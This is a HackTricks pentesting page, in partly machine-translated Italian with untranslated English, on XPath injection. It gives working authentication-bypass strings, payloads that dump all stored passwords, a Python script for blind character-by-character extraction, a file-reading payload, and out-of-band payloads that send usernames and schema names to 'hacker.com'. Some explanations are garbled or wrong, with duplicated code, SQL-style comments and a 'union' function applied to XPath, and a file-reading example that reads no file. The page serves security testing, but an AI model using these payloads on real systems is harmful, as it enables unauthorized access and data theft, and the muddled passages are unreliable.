hacktricks/pentesting-web/xpath-injection.md
2024-02-10 13:03:23 +00:00

25 KiB

Iniezione di XPATH

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Insight sull'hacking
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

Notizie sull'hacking in tempo reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

Ultime novità
Rimani informato sul lancio delle nuove bug bounty e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

Sintassi di base

Una tecnica di attacco nota come Iniezione di XPATH viene utilizzata per sfruttare le applicazioni che formano query XPATH (XML Path Language) basate sull'input dell'utente per interrogare o navigare documenti XML.

Nodi Descritti

Le espressioni vengono utilizzate per selezionare vari nodi in un documento XML. Queste espressioni e le loro descrizioni sono riassunte di seguito:

  • nodonome: Vengono selezionati tutti i nodi con il nome "nodonome".
  • /: La selezione viene effettuata dal nodo radice.
  • //: Vengono selezionati i nodi corrispondenti alla selezione dal nodo corrente, indipendentemente dalla loro posizione nel documento.
  • .: Viene selezionato il nodo corrente.
  • ..: Viene selezionato il genitore del nodo corrente.
  • @: Vengono selezionati gli attributi.

Esempi di XPATH

Gli esempi di espressioni di percorso e i loro risultati includono:

  • libreria: Vengono selezionati tutti i nodi chiamati "libreria".
  • /libreria: Viene selezionato l'elemento radice libreria. Si nota che un percorso assoluto verso un elemento è rappresentato da un percorso che inizia con una barra (/).
  • libreria/libro: Vengono selezionati tutti gli elementi libro che sono figli di libreria.
  • //libro: Vengono selezionati tutti gli elementi libro nel documento, indipendentemente dalla loro posizione.
  • libreria//libro: Vengono selezionati tutti gli elementi libro che sono discendenti dell'elemento libreria, indipendentemente dalla loro posizione sotto l'elemento libreria.
  • //@lang: Vengono selezionati tutti gli attributi chiamati lang.

Utilizzo dei predicati

I predicati vengono utilizzati per raffinare le selezioni:

  • /libreria/libro[1]: Viene selezionato il primo elemento libro figlio dell'elemento libreria. Un modo per aggirare le versioni di IE da 5 a 9, che indicizzano il primo nodo come [0], è impostare SelectionLanguage su XPath tramite JavaScript.
  • /libreria/libro[last()]: Viene selezionato l'ultimo elemento libro figlio dell'elemento libreria.
  • /libreria/libro[last()-1]: Viene selezionato il penultimo elemento libro figlio dell'elemento libreria.
  • /libreria/libro[position()<3]: Vengono selezionati i primi due elementi libro figli dell'elemento libreria.
  • //titolo[@lang]: Vengono selezionati tutti gli elementi titolo con un attributo lang.
  • //titolo[@lang='en']: Vengono selezionati tutti gli elementi titolo con un valore di attributo "lang" pari a "en".
  • /libreria/libro[prezzo>35.00]: Vengono selezionati tutti gli elementi libro della libreria con un prezzo superiore a 35.00.
  • /libreria/libro[prezzo>35.00]/titolo: Vengono selezionati tutti gli elementi titolo degli elementi libro della libreria con un prezzo superiore a 35.00.

Gestione dei nodi sconosciuti

I caratteri jolly vengono utilizzati per corrispondere a nodi sconosciuti:

  • *: Corrisponde a qualsiasi nodo elemento.
  • @*: Corrisponde a qualsiasi nodo attributo.
  • node(): Corrisponde a qualsiasi nodo di qualsiasi tipo.

Altri esempi includono:

  • /libreria/*: Seleziona tutti i nodi elementi figli dell'elemento libreria.
  • //*: Seleziona tutti gli elementi nel documento.
  • //titolo[@*]: Seleziona tutti gli elementi titolo con almeno un attributo di qualsiasi tipo.

Esempio

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Accedere alle informazioni

XPath injection is a technique used to exploit vulnerabilities in web applications that use XPath to query XML data. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the XPath query and gain unauthorized access to sensitive information.

To access information using XPath injection, follow these steps:

  1. Identify the vulnerable input field: Look for user input fields that are used in XPath queries, such as search boxes or form inputs.

  2. Test for vulnerability: Enter a simple XPath expression, such as ' or 1=1 --, into the input field and observe the application's response. If the application displays additional information or behaves differently, it may be vulnerable to XPath injection.

  3. Craft a malicious XPath expression: Once you have confirmed the vulnerability, craft a malicious XPath expression to extract the desired information. This can include using functions like union, concat, or substring to manipulate the query and retrieve specific data.

  4. Extract the information: Inject the malicious XPath expression into the vulnerable input field and observe the application's response. If successful, the application may display the requested information, such as usernames, passwords, or other sensitive data.

It is important to note that XPath injection can have serious consequences, as it can lead to unauthorized access, data leakage, or even complete compromise of the targeted system. Therefore, it is crucial to properly sanitize and validate user input to prevent XPath injection attacks.

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identificare e rubare lo schema

L'iniezione di XPath può essere utilizzata per identificare e rubare lo schema di un'applicazione web. Lo schema di un'applicazione web fornisce informazioni importanti sulla struttura del database sottostante, inclusi i nomi delle tabelle, dei campi e le relazioni tra di essi. Queste informazioni possono essere utilizzate per pianificare ulteriori attacchi o per ottenere dati sensibili.

Per identificare lo schema, è possibile utilizzare l'iniezione di XPath per eseguire query sul database e ottenere informazioni sulle tabelle e sui campi presenti. Ad esempio, è possibile utilizzare l'iniezione di XPath per ottenere i nomi delle tabelle presenti nel database:

' or 1=1 or name()='table_name' or 'a'='a

Sostituisci 'table_name' con il nome di una tabella conosciuta o con un valore generico come 'a'='a' per ottenere tutti i nomi delle tabelle presenti nel database.

Una volta ottenuti i nomi delle tabelle, è possibile utilizzare l'iniezione di XPath per ottenere i nomi dei campi presenti in una specifica tabella. Ad esempio, utilizzando l'iniezione di XPath, è possibile ottenere i nomi dei campi nella tabella 'users':

' or 1=1 or name()='field_name' or 'a'='a

Sostituisci 'field_name' con il nome di un campo conosciuto o con un valore generico come 'a'='a' per ottenere tutti i nomi dei campi presenti nella tabella.

Utilizzando queste tecniche, è possibile identificare e rubare lo schema di un'applicazione web, ottenendo informazioni preziose sul database sottostante.

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Bypass di autenticazione

Esempio di query:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR bypass in user and password (same value in both)

Bypass OR in utente e password (stesso valore in entrambi)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Sfruttare l'iniezione di null

Null injection is a technique used in XPath injection attacks to bypass input validation and manipulate the XPath query. It takes advantage of the fact that the comparison of a value with null in XPath always returns false.

L'iniezione di null è una tecnica utilizzata negli attacchi di XPath injection per eludere la convalida dell'input e manipolare la query XPath. Sfrutta il fatto che il confronto di un valore con null in XPath restituisce sempre false.

To perform a null injection, you need to identify a vulnerable parameter in the application that is used in the XPath query. Once you have identified the parameter, you can append the following payload to the input:

Per eseguire un'iniezione di null, è necessario individuare un parametro vulnerabile nell'applicazione che viene utilizzato nella query XPath. Una volta identificato il parametro, è possibile aggiungere il seguente payload all'input:

' or 1=1 or ''='

This payload will cause the XPath query to evaluate as true, effectively bypassing any input validation that may be in place. By manipulating the query in this way, you can extract sensitive information or perform unauthorized actions.

Questo payload farà sì che la query XPath venga valutata come vera, eludendo efficacemente qualsiasi convalida dell'input che potrebbe essere presente. Manipolando la query in questo modo, è possibile estrarre informazioni sensibili o eseguire azioni non autorizzate.

It's important to note that null injection may not work in all cases, as it depends on the specific implementation of the XPath query and the input validation mechanisms in place. Therefore, it's crucial to thoroughly test the application to determine if null injection is a viable attack vector.

È importante notare che l'iniezione di null potrebbe non funzionare in tutti i casi, poiché dipende dall'implementazione specifica della query XPath e dai meccanismi di convalida dell'input presenti. Pertanto, è fondamentale testare accuratamente l'applicazione per determinare se l'iniezione di null è un vettore di attacco valido.

Username: ' or 1]%00

Doppio OR nel nome utente o nella password (è valido con solo 1 campo vulnerabile)

IMPORTANTE: Nota che la "and" è la prima operazione effettuata.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Estrazione di stringhe

L'output contiene delle stringhe e l'utente può manipolare i valori per effettuare una ricerca:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Sfruttare la cecità

Ottenere la lunghezza di un valore ed estrarlo tramite confronti:

In alcuni casi, potresti incontrare un'iniezione XPath cieca, in cui non viene visualizzato alcun messaggio di errore o risultato visibile. Tuttavia, puoi ancora sfruttare questa vulnerabilità per ottenere informazioni sensibili.

Un modo per sfruttare l'iniezione XPath cieca è ottenere la lunghezza di un valore all'interno del documento XML e quindi estrarlo carattere per carattere tramite confronti. Puoi utilizzare l'operatore substring() per ottenere un singolo carattere alla volta e confrontarlo con un carattere noto.

Ecco un esempio di come ottenere la lunghezza di un valore utilizzando l'iniezione XPath cieca:

' and string-length(/path/to/value) = X--+

Dove /path/to/value è il percorso XPath del valore che desideri ottenere e X è il numero di caratteri che stai cercando di determinare.

Successivamente, puoi estrarre il valore carattere per carattere utilizzando l'operatore substring() e confrontarlo con un carattere noto. Ad esempio, per estrarre il primo carattere del valore, puoi utilizzare la seguente iniezione XPath:

' and substring(/path/to/value, 1, 1) = 'C'--+

Dove /path/to/value è ancora il percorso XPath del valore che desideri ottenere e 'C' è il carattere noto con cui stai confrontando il primo carattere del valore.

Ripeti questo processo per ogni carattere del valore fino a quando non hai estratto l'intero valore.

Questo metodo può richiedere del tempo, ma ti consente di ottenere informazioni sensibili anche in caso di iniezione XPath cieca.

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Esempio in Python

import requests

def get_user_password(username):
    url = f"http://example.com/login?username={username}&password=' or '1'='1"
    response = requests.get(url)
    if "Welcome" in response.text:
        return "Success"
    else:
        return "Failure"

Esempio in Python

import requests

def get_user_password(username):
    url = f"http://example.com/login?username={username}&password=' or '1'='1"
    response = requests.get(url)
    if "Welcome" in response.text:
        return "Success"
    else:
        return "Failure"
import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Leggere file

Per leggere un file utilizzando un'iniezione XPath, è possibile utilizzare la funzione document() per accedere al contenuto di un file specifico. L'iniezione XPath consente di specificare un percorso del file desiderato e recuperarne il contenuto.

Ecco un esempio di come eseguire l'iniezione XPath per leggere un file:

' or 1=1 or name()='doc' or .='

In questo esempio, stiamo cercando di leggere il file doc.xml. L'iniezione XPath viene utilizzata per bypassare le restrizioni di accesso e ottenere il contenuto del file.

È importante notare che l'iniezione XPath può essere utilizzata solo se l'applicazione web è vulnerabile a questo tipo di attacco. Inoltre, è necessario conoscere il percorso del file desiderato per poterlo leggere correttamente.

L'iniezione XPath è solo una delle molte tecniche di hacking che possono essere utilizzate per ottenere informazioni sensibili o eseguire azioni non autorizzate su un'applicazione web. È fondamentale comprendere le vulnerabilità e le tecniche di mitigazione per proteggere le applicazioni da tali attacchi.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Sfruttamento OOB

Out-of-Band (OOB) exploitation, also known as blind XPath injection, is a technique used to extract data from a vulnerable application by leveraging the application's ability to make external requests. This technique is particularly useful when the application does not directly display the extracted data.

Exploiting OOB with DNS Requests

One way to exploit OOB is by using DNS requests. The attacker crafts a malicious XPath query that, when executed by the application, triggers a DNS request to a controlled domain. By monitoring the DNS server logs, the attacker can extract the desired data.

To perform this attack, the attacker needs to identify a vulnerable parameter that is susceptible to XPath injection. Once identified, the attacker can inject a payload that includes the malicious XPath query. The payload should be crafted in a way that, when executed, triggers a DNS request to the attacker's controlled domain.

Exploiting OOB with HTTP Requests

Another way to exploit OOB is by using HTTP requests. In this case, the attacker crafts a malicious XPath query that, when executed by the application, triggers an HTTP request to a server controlled by the attacker. The attacker can then analyze the server logs to extract the desired data.

To carry out this attack, the attacker needs to identify a vulnerable parameter that is susceptible to XPath injection. Once identified, the attacker can inject a payload that includes the malicious XPath query. The payload should be crafted in a way that, when executed, triggers an HTTP request to the attacker's server.

Exploiting OOB with FTP Requests

OOB exploitation can also be achieved using FTP requests. The attacker crafts a malicious XPath query that, when executed by the application, triggers an FTP request to a server controlled by the attacker. By monitoring the FTP server logs, the attacker can extract the desired data.

To exploit OOB using FTP requests, the attacker needs to identify a vulnerable parameter that is susceptible to XPath injection. Once identified, the attacker can inject a payload that includes the malicious XPath query. The payload should be crafted in a way that, when executed, triggers an FTP request to the attacker's server.

Conclusion

Out-of-Band exploitation is a powerful technique that allows attackers to extract data from a vulnerable application without directly displaying the extracted data. By leveraging external requests such as DNS, HTTP, or FTP, attackers can retrieve sensitive information and maintain stealth during the attack.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Strumento automatico

Riferimenti

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Hacking Insights
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

Notizie di Hacking in Tempo Reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

Ultime Novità
Rimani informato sul lancio delle nuove taglie di bug e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: